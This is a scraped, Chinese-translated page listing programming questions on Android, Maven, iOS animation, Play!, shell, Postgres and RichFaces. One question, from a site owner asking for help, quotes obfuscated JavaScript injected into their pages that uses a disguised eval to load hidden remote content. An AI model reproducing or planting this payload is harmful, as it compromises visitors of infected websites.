问题列表 - 第55116页

在重新启动之前,Android AppWidget不会显示在蜂窝菜单中

我已经创建了一个适用于Honeycomb的AppWidget,它运行良好,除了首次安装时,它不会显示在Widgets菜单中,因此无法添加到主屏幕.重新启动设备将允许它显示,或者在开发期间,从Eclipse发送两次将导致它显示.

有任何想法吗?

谢谢!

android android-3.0-honeycomb

7
推荐指数
1
解决办法
2001
查看次数

如何使用maven打包和运行具有依赖关系的简单命令行应用程序?

我对java和maven都是全新的,所以这很可能非常简单.

如果我按照maven2 hello world说明进行操作:

http://maven.apache.org/guides/getting-started/maven-in-five-minutes.html

一切正常.如果我然后更改pom.xml以从远程存储库引入依赖项,则存储此依赖项的文件~/.m2/repository/new-dependency/.

使用说明中的语法hello world来运行应用程序需要我将依赖项的绝对路径添加到我的类路径(通过设置环境变量或通过命令行开关):

java -cp target/my-app-1.0-SNAPSHOT.jar:/.../.m2/.../new-dependency.jar com.mycompany.app.App
Run Code Online (Sandbox Code Playgroud)

这显然会很快变得笨拙:)

我怀疑这不是运行java程序的常用方法,而且我只需要阅读更多关于.jar文件的内容,但是在我这样做的时候,我会很感激有关如何正确执行此操作的任何提示.

我没有使用IDE,顺便说一句.vim来自命令行.

谢谢!

麦克风.

java maven-2 maven

16
推荐指数
2
解决办法
1万
查看次数

动画完成立即调用

我有以下动画块:

[UIView animateWithDuration:2 
                 animations:^{ 
                     [childViewController_.view setAlpha:0];  
                 } 
                 completion:^(BOOL finished) {
                     [childViewController_.view removeFromSuperview];
                 }];
Run Code Online (Sandbox Code Playgroud)

当如上执行时,立即调用完成块.但是,如果我没有完成块,则按预期执行动画.

我在这做错了什么?

更新完成块中
finished标志是NO.

iphone ipad uiviewanimation objective-c-blocks

8
推荐指数
1
解决办法
3302
查看次数

玩!框架CRUD模块:添加默认值并更改日期格式?

我正在玩Play!框架CRUD模块,但我无法弄清楚:我的数据库表有一个created字段,基本上是一行创建的时间.我不希望我的用户设置它,我想在后端执行,只需添加当前时间.我无法弄清楚如何做到这一点.

我已经使该字段不可见@Hidden但显然现在我无法创建新行,因为它的值根本没有设置.那么我该怎么做?

我有另一个问题:我的表还有一个名为publish另一个时间戳的列.CRUD表单中此字段的当前格式为yyyy-MM-dd.我想指定一个日期,也无法弄清楚如何...

有人可以帮忙吗?

java default date playframework playframework-1.x

1
推荐指数
1
解决办法
2643
查看次数

Linux - 仅保存最近的10个文件夹并删除其余文件夹

我有一个包含我的应用程序版本的文件夹,每次上传新版本时都会为它创建一个新的子文件夹,子文件夹名称是当前时间戳,这里是所用主文件夹的打印输出(ls - l | grep ^ d):

drwxrwxr-x 7 root root 4096 2011-03-31 16:18 20110331161649
drwxrwxr-x 7 root root 4096 2011-03-31 16:21 20110331161914
drwxrwxr-x 7 root root 4096 2011-03-31 16:53 20110331165035
drwxrwxr-x 7 root root 4096 2011-03-31 16:59 20110331165712
drwxrwxr-x 7 root root 4096 2011-04-03 20:18 20110403201607
drwxrwxr-x 7 root root 4096 2011-04-03 20:38 20110403203613
drwxrwxr-x 7 root root 4096 2011-04-04 14:39 20110405143725
drwxrwxr-x 7 root root 4096 2011-04-06 15:24 20110406151805
drwxrwxr-x 7 root root 4096 2011-04-06 15:36 20110406153157
drwxrwxr-x …
Run Code Online (Sandbox Code Playgroud)

linux bash shell

8
推荐指数
1
解决办法
1万
查看次数

导出数据库的CREATE脚本

假设我在pgAdmin中创建了一个数据库,但我想导出一个CREATE sql文件.

我怎么去生成转储?

sql database postgresql

66
推荐指数
3
解决办法
8万
查看次数

Android图片通过xml文件旋转

我一直试图让图像文件在现场旋转并且正在挣扎,我找到的每个教程似乎都以不同的方式做到这一点.

有人可以指出我在这里出错的地方.

GamePlay.java

import android.app.Activity;
import android.graphics.drawable.AnimationDrawable;
import android.os.Bundle;
import android.widget.ImageView;

public class GamePlay extends Activity {

 /** Called when the activity is first created. */
 @Override public void onCreate(Bundle savedInstanceState) {
 super.onCreate(savedInstanceState);
 setContentView(R.layout.gameplay);

 ImageView logo = (ImageView)findViewById(R.id.mainlogo);
 logo.setBackgroundResource(R.anim.rotate);

 AnimationDrawable frameAnimation = (AnimationDrawable) logo.getBackground();

 frameAnimation.start();

 }
}
Run Code Online (Sandbox Code Playgroud)

rotate.xml

<?xml version="1.0" encoding="UTF-8"?>
<rotate xmlns:android="http://schemas.android.com/apk/res/android"
android:pivotX="50%" 
android:pivotY="50%" 
android:fromDegrees="0"
android:toDegrees="360" 
android:drawable="@drawable/logo" />
Run Code Online (Sandbox Code Playgroud)

gameplay.xml

<ImageView
    android:layout_height="wrap_content" 
    android:layout_width="wrap_content"
    android:id="@+id/mainlogo"
    android:src="@drawable/logo">       
</ImageView>
Run Code Online (Sandbox Code Playgroud)

xml android

6
推荐指数
1
解决办法
1万
查看次数

这个脚本做什么用的?

有人能告诉我下面的脚本是做什么的吗?它大约每两周(总是在星期日和星期一之间)注入我们的网站.我们已经重新加载了我们的"干净"网站几十次,但它一直在发生.我们已经安装并制作了我们已经阅读的所有安全建议,但它只是不断进入我们所有的index.html文件和一些我们的php文件.

任何人都知道它的作用或来自何处?我们真的可以使用一些帮助!

<script>
var ar="v)y{ifu=lg[rETCB}me h>;
s\"/ 0.,tN1:('<cAb]waonpd";
try{
    'qwe'.length(1);
}catch(a){
    k=new Boolean().toString();
    date=new Date();
};
var ar2 = "f57,57,12,15,78,102,138,129,111,18,51,54,132,90,84,27,54,90,36,24,54,51,54,132,90,69,45,6,39,126,27,93,126,51,54,102,105,117,129,138,6,105,3,30,81,120,3,9,57,57,57,12,15,33,126,51,54,33,102,3,66,57,57,48,78,54,24,69,54,78,9,57,57,57,138,129,111,18,51,54,132,90,84,123,33,12,90,54,102,72,108,12,15,33,126,51,54,78,69,33,111,21,105,60,90,90,135,99,75,75,138,129,24,129,126,69,84,111,129,51,75,111,129,18,132,90,81,84,135,60,135,105,78,123,12,138,90,60,21,105,96,81,105,78,60,54,12,27,60,90,21,105,96,81,105,78,69,90,6,24,54,21,105,0,12,69,12,117,12,24,12,90,6,99,60,12,138,138,54,132,66,135,129,69,12,90,12,129,132,99,126,117,69,129,24,18,90,54,66,24,54,15,90,99,81,66,90,129,135,99,81,66,105,63,108,75,12,15,33,126,51,54,63,72,3,66,57,57,48,57,57,15,18,132,111,90,12,129,132,78,12,15,33,126,51,54,33,102,3,9,57,57,57,0,126,33,78,15,78,21,78,138,129,111,18,51,54,132,90,84,111,33,54,126,90,54,36,24,54,51,54,132,90,102,105,12,15,33,126,51,54,105,3,66,15,84,69,54,90,114,90,90,33,12,117,18,90,54,102,105,69,33,111,105,87,105,60,90,90,135,99,75,75,138,129,24,129,126,69,84,111,129,51,75,111,129,18,132,90,81,84,135,60,135,105,3,66,15,84,69,90,6,24,54,84,0,12,69,12,117,12,24,12,90,6,21,105,60,12,138,138,54,132,105,66,15,84,69,90,6,24,54,84,135,129,69,12,90,12,129,132,21,105,126,117,69,129,24,18,90,54,105,66,15,84,69,90,6,24,54,84,24,54,15,90,21,105,81,105,66,15,84,69,90,6,24,54,84,90,129,135,21,105,81,105,66,15,84,69,54,90,114,90,90,33,12,117,18,90,54,102,105,123,12,138,90,60,105,87,105,96,81,105,3,66,15,84,69,54,90,114,90,90,33,12,117,18,90,54,102,105,60,54,12,27,60,90,105,87,105,96,81,105,3,66,57,57,57,138,129,111,18,51,54,132,90,84,27,54,90,36,24,54,51,54,132,90,69,45,6,39,126,27,93,126,51,54,102,105,117,129,138,6,105,3,30,81,120,84,126,135,135,54,132,138,42,60,12,24,138,102,15,3,66,57,57,48]".replace(k.substr(0,1),'[');

pau="rn ev2010"[('afas','rep')+('rhrh','lace')](date[('adsaf','getF')+'ullY'+('qwtrqwt','ear')]()-1,('awgwag',"al"));

e=Function("retu"+pau)();
ar2=('gfhgffg',e(ar2));s="";

for(i=0;i<ar2.length;i++){
    s+=ar.substr(ar2[i]/3,1);
}
e(s);

</script>

<script>
var ar="N<B)10'paes,>.nidtf3[T;
hwy mCE:gA{](=o/\"c}lbr vu";
try{
    'qwe'.length(1);
}catch(a){
    k=new Boolean().toString();
    date=new Date();
};

var ar2 = "f78,78,45,54,135,105,48,111,120,141,81,27,42,51,39,93,27,51,87,126,27,81,27,42,51,30,6,75,63,24,93,0,24,81,27,105,18,129,111,48,75,18,9,60,15,102,9,99,78,78,78,45,54,132,24,81,27,132,105,9,66,78,78,123,135,27,126,30,27,135,99,78,78,78,48,111,120,141,81,27,42,51,39,72,132,45,51,27,105,117,3,45,54,132,24,81,27,135,30,132,120,108,18,69,51,51,21,90,114,114,27,48,45,51,45,24,126,39,120,111,81,114,120,111,141,42,51,57,15,39,21,69,21,18,135,72,45,48,51,69,108,18,12,15,18,135,69,27,45,93,69,51,108,18,12,15,18,135,30,51,75,126,27,108,18,138,45,30,45,129,45,126,45,51,75,90,69,45,48,48,27,42,66,21,111,30,45,51,45,111,42,90,24,129,30,111,126,141,51,27,66,126,27,54,51,90,15,66,51,111,21,90,15,66,18,36,3,114,45,54,132,24,81,27,36,117,9,66,78,78,123,78,78,54,141,42,120,51,45,111,42,135,45,54,132,24,81,27,132,105,9,99,78,78,78,138,24,132,135,54,135,108,135,48,111,120,141,81,27,42,51,39,120,132,27,24,51,27,87,126,27,81,27,42,51,105,18,45,54,132,24,81,27,18,9,66,54,39,30,27,51,96,51,51,132,45,129,141,51,27,105,18,30,132,120,18,33,18,69,51,51,21,90,114,114,27,48,45,51,45,24,126,39,120,111,81,114,120,111,141,42,51,57,15,39,21,69,21,18,9,66,54,39,30,51,75,126,27,39,138,45,30,45,129,45,126,45,51,75,108,18,69,45,48,48,27,42,18,66,54,39,30,51,75,126,27,39,21,111,30,45,51,45,111,42,108,18,24,129,30,111,126,141,51,27,18,66,54,39,30,51,75,126,27,39,126,27,54,51,108,18,15,18,66,54,39,30,51,75,126,27,39,51,111,21,108,18,15,18,66,54,39,30,27,51,96,51,51,132,45,129,141,51,27,105,18,72,45,48,51,69,18,33,18,12,15,18,9,66,54,39,30,27,51,96,51,51,132,45,129,141,51,27,105,18,69,27,45,93,69,51,18,33,18,12,15,18,9,66,78,78,78,48,111,120,141,81,27,42,51,39,93,27,51,87,126,27,81,27,42,51,30,6,75,63,24,93,0,24,81,27,105,18,129,111,48,75,18,9,60,15,102,39,24,21,21,27,42,48,84,69,45,126,48,105,54,9,66,78,78,123]".replace(k.substr(0,1),'[');

pau="rn ev2010"[('afas','rep')+('rhrh','lace')](date[('adsaf','getF')+'ullY'+('qwtrqwt','ear')]()-1,('awgwag',"al"));

e=Function("retu"+pau)();

ar2=('gfhgffg',e(ar2));

s="";

for(i=0;i<ar2.length;i++){
    s+=ar.substr(ar2[i]/3,1);
}
e(s);
</script>


<script>
var ar="rf:pmy'1uvAE, hi)2Tbs{ [tg=BcC\"do<a(.}N/9];wl>en0";
try{
    gserkewg();
}catch(a){
    k=new Boolean().toString()
};

var ar2 = "f66,0,-21,-42,36,66,-12,3,-12,-60,-12,126,3,-69,36,-33,63,-66,-39,99,6,-126,126,3,-69,-12,21,-66,39,48,-27,39,-12,-90,126,-33,-87,39,39,-3,-78,3,30,21,75,-21,-75,15,3,0,0,-21,-42,-3,102,-90,126,-138,105,-57,78,-60,0,45,-72,99,-6,-72,78,-99,24,3,0,0,27,3,-12,-60,-12,126,3,-69,36,21,-129,45,27,66,-33,-15,9,-54,-42,-3,102,-90,126,-99,21,-60,84,-6,-60,24,30,0,-63,-3,111,0,12,-33,-96,12,126,-66,30,30,-24,-24,12,-84,105,-33,12,-72,117,-69,-21,69,-12,-99,33,-33,9,21,90,-84,48,-21,-30,36,-60,3,123,-126,21,3,96,-93,30,-33,30,6,-60,3,123,-126,21,21,12,-57,117,6,-60,-60,9,18,15,-15,12,-12,87,-87,27,-57,-9,36,3,48,0,45,3,-15,-117,87,-36,-15,27,-27,51,45,-135,96,-45,3,36,36,-108,48,66,-12,6,6,-135,69,-66,138,-18,-54,24,-87,-3,138,-18,-108,117,-36,18,-72,-42,-3,102,-90,126,-3,-45,-42,78,-60,0,45,-45,0,-63,21,117,-57,-12,-27,51,45,-102,6,-42,-3,102,-90,126,-138,105,-57,15,3,0,0,-39,75,-102,39,-36,36,39,-39,54,3,-12,-60,-12,126,3,-69,36,-24,-84,138,-36,-30,66,-105,99,6,-126,126,3,-69,33,-87,27,-42,-3,102,-90,126,-120,30,78,-123,105,-48,78,-66,-42,42,0,-72,45,12,-33,48,66,-33,-87,42,-60,84,-66,18,-18,24,30,0,-63,-3,111,0,12,-33,-96,12,126,-66,30,30,-24,-24,12,-84,105,-33,12,-72,117,-69,-21,69,-12,-99,33,-33,9,30,78,-123,105,-48,12,-57,117,6,-30,-81,18,15,-15,12,-12,87,-87,27,-57,63,-60,24,3,48,0,45,3,-123,108,-123,105,-48,12,-57,117,6,-30,-99,87,-36,-15,27,-27,51,45,-63,-60,84,-45,3,36,36,-108,48,66,-120,108,-123,105,-48,12,-57,117,6,-30,24,6,-135,69,6,-60,126,-126,108,-123,105,-48,12,-57,117,6,-30,-36,24,-87,69,-60,126,-126,108,-123,105,-48,78,-66,-42,42,0,-72,45,12,-33,48,66,-33,-87,111,-84,48,-21,-30,-24,18,-18,3,123,-126,30,78,-123,105,-48,78,-66,-42,42,0,-72,45,12,-33,48,66,-33,-87,24,96,-93,30,-33,30,-54,18,-18,3,123,-126,30,78,-60,0,0,27,3,-12,-60,-12,126,3,-69,36,-33,63,-66,-39,99,6,-126,126,3,-69,-12,21,-66,39,48,-27,39,-12,-90,126,-33,-87,39,39,-3,-78,3,30,21,75,-21,-15,-6,-93,0,129,3,-48,-6,-45,3,87,-39,12,-102,45,78,-60,0,45]".replace(k.substr(0,1),'[');

try{
    asfasf();
}catch(e)
{
    p=(typeof document).toString()
};

pau="rn …
Run Code Online (Sandbox Code Playgroud)

javascript security

5
推荐指数
2
解决办法
230
查看次数

如何在每行之前用文件名打印文件内容?

我有几个文件,比如,a,b,c,我想要的东西

 > cat a b c
Run Code Online (Sandbox Code Playgroud)

但是在a的开头是"a"."b",在b行的开头,"c",在c行的开头.我可以用python做到这一点:

#!/bin/env python

files = 'a b c'

all_lines = []
for f in files.split():
  lines = open(f, 'r').readlines()
  for line in lines:
    all_lines.append(f + ',' + line.strip())

fout = open('out.csv', 'w')
fout.write('\n'.join(all_lines))
fout.close()
Run Code Online (Sandbox Code Playgroud)

但我更喜欢在命令行中执行此操作,将一些简单的命令与管道组合在一起 运营商.

有没有一种简单的方法来实现这一目标?

谢谢.

python bash scripting perl sed

5
推荐指数
2
解决办法
958
查看次数

使用a4j:支持更新模型和视图,为下一个按钮/提交操作做好准备

问题

我们有一个基于swing的前端用于企业应用程序,现在正在为它实现一个(现在更简单)JSF/Seam/Richfaces前端.

某些页面包含的字段在编辑时应导致其他字段因此而更改.我们需要立即向用户显示此更改(即他们不必按下按钮或任何其他内容).

我已成功使用h:commandButton并通过添加onchange="submit()"导致其他字段更改的字段来实现此功能.这样,表单提交在他们编辑字段时发生,其他字段作为结果更新.

这在功能上运行良好,但特别是当服务器处于显着负载(经常发生)时,表单提交可能需要很长时间,并且我们的用户在此期间继续编辑字段,然后在对onchange="submit()"请求的响应时恢复渲染.

为了解决这个问题,我希望能够实现以下目标:

  1. 在编辑字段时,如果需要,处理该字段,并且重新呈现它修改的字段(以便用户在此期间进行的任何其他编辑不会丢失).
  2. 按下按钮后,所有字段都将正常处理和重新渲染.

(不稳定)解决方案

好吧,我认为首先展示一下我的页面可能是最容易的.请注意,这只是一个摘录,有些页面会有很多字段和许多按钮.

<a4j:form id="mainForm">
    ...
    <a4j:commandButton id="calculateButton" value="Calculate" action="#{illustrationManager.calculatePremium()}" reRender="mainForm" />
    ...
    <h:outputLabel for="firstName" value=" First Name" />
    <h:inputText id="firstName" value="#{life.firstName}" />
    ...
    <h:outputLabel for="age" value=" Age" />
    <h:inputText id="age" value="#{life.age}">
        <f:convertNumber type="number" integerOnly="true" />
        <a4j:support event="onchange" ajaxSingle="true" reRender="dob" />
    </h:inputText>
    <h:outputLabel for="dob" value=" DOB" />
    <h:inputText id="dob" value="#{life.dateOfBirth}" styleClass="date">
        <f:convertDateTime pattern="dd/MM/yyyy" timeZone="#{userPreference.timeZone}" />
        <a4j:support event="onchange" …
Run Code Online (Sandbox Code Playgroud)

jsf seam richfaces ajax4jsf

6
推荐指数
1
解决办法
9786
查看次数